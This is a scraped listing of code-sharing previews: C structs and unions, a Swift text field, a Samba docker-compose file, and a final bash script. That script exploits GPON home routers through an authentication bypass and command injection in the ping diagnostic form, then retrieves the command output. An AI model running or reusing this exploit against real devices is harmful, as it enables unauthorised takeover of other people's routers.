This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
/* | |
* See also : http://class.ece.iastate.edu/arun/CprE281_F05/ieee754/ie5.html | |
*/ | |
union FloatingPointIEEE754 { | |
struct { | |
unsigned int mantissa : 23; | |
unsigned int exponent : 8; | |
unsigned int sign : 1; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
struct {//Already works | |
unsigned int mantissa : 23; | |
unsigned int exponent : 8; | |
unsigned int sign : 1; | |
}bits; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include "RGB.h" | |
Color c; | |
void RGB_Function() { //This already works | |
c.value = 0xFF00AA00; | |
c.rgb.Red = 0; | |
c.rgb.Green = 170; | |
//c.rgb.Blue = 0; | |
//c.rgb.Alpha = 255; | |
c.array[2] = 0; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
typedef struct { | |
int id; | |
char nombre[30]; | |
}Student; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
typedef struct { | |
int id; | |
char name[30]; | |
}Student; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
typedef void(*punteroAFuncion)(Student**, int); //para no usarse en como void(print_class)(Student**,int) en el argumento de la función | |
typedef void(**FunctionPointerToFunction)(Student**, int); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
let aTextField:UITextField = { | |
let tf = UITextField() | |
tf.placeholder = "Text Field" | |
tf.translatesAutoresizingMaskIntoConstraints = false | |
tf.backgroundColor = UIColor(white:0, alpha:0.03) | |
tf.borderStyle = .roundedRect | |
tf.font = UIFont.systemFont(ofSize: 14) | |
return tf | |
}() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<div id="root"></div> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
version: "3" | |
services: | |
samba: | |
network_mode: host | |
container_name: samba | |
image: dperson/samba:rpi | |
restart: always | |
command: '-u "username;password" -s "media;/media;yes;no" -s "downloads;/downloads;yes;no" -s "ssd;ssd;yes;no"' | |
stdin_open: true | |
tty: true |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
echo "[+] Sending the Command… " | |
# We send the commands with two modes backtick (`) and semicolon (;) because different models trigger on different devices | |
curl -k -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=\`$2\`;$2&ipv=0" $1/GponForm/diag_Form?images/ 2>/dev/null 1>/dev/null | |
echo "[+] Waiting…." | |
sleep 3 | |
echo "[+] Retrieving the ouput…." | |
curl -k $1/diag.html?images/ 2>/dev/null | grep 'diag_result =' | sed -e 's/\\n/\n/g' |
OlderNewer